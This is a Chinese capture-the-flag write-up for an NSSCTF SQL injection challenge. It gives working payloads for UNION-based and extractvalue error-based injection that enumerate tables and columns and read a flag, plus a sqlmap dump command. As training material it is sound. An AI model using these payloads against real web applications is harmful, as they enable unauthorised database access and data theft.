这题可以直接参考：[NISACTF 2022]join-us - 报错注入&无列名注入
网站标题提示，参数是wllm
?wllm=1
得到：Your Login name:xxx Your Password:yyy
解法一：手注
1、先尝试普通注入?wllm=-1'union select 1,2,3--+
得到：Your Login name:2 Your Password:3
这里注意 ，wllm=-1才会回显占位符，否则还是xxx yyy
2、?wllm=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3--+
得到：Your Login name:test_tb,users
3、?wllm=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'test_tb'),3--+
得到：Your Login name:id,flag
4、?wllm=-1'union select 1,(select group_concat(flag) from test_tb),3--+
得到：Your Login name:NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}
如果能手注，还是非常舒服的！
解法二：报错注入
1、?wllm=1'-a()--+
得到：FUNCTION test_db.a does not exist
表为：test_db
2、?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema = 'test_db'),1,100),0x7e))--+
得到：XPATH syntax error: '~ test_tb,users ~'
3、查test_tb：?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name = 'test_tb'),1,100),0x7e))--+
得到：XPATH syntax error: '~ id,flag ~'
4、查test_tb.flag：?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from test_tb),1,100),0x7e))--+
得到：XPATH syntax error: '~NSSCTF{82bf2238-f61d-41f1-b103-'
5、查test_tb.flag：?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from test_tb),20,100),0x7e))--+
XPATH syntax error: '~ d-41f1-b103-848e28154cee} ~'
最终：flag=NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}
解法三：sqlmap
python sqlmap.py -u "http://xxxxxxxxxxxxx.cn:28930/?wllm=1" --batch --dump -T test_tb
sqlmap每次都要跑很久，个人喜欢手注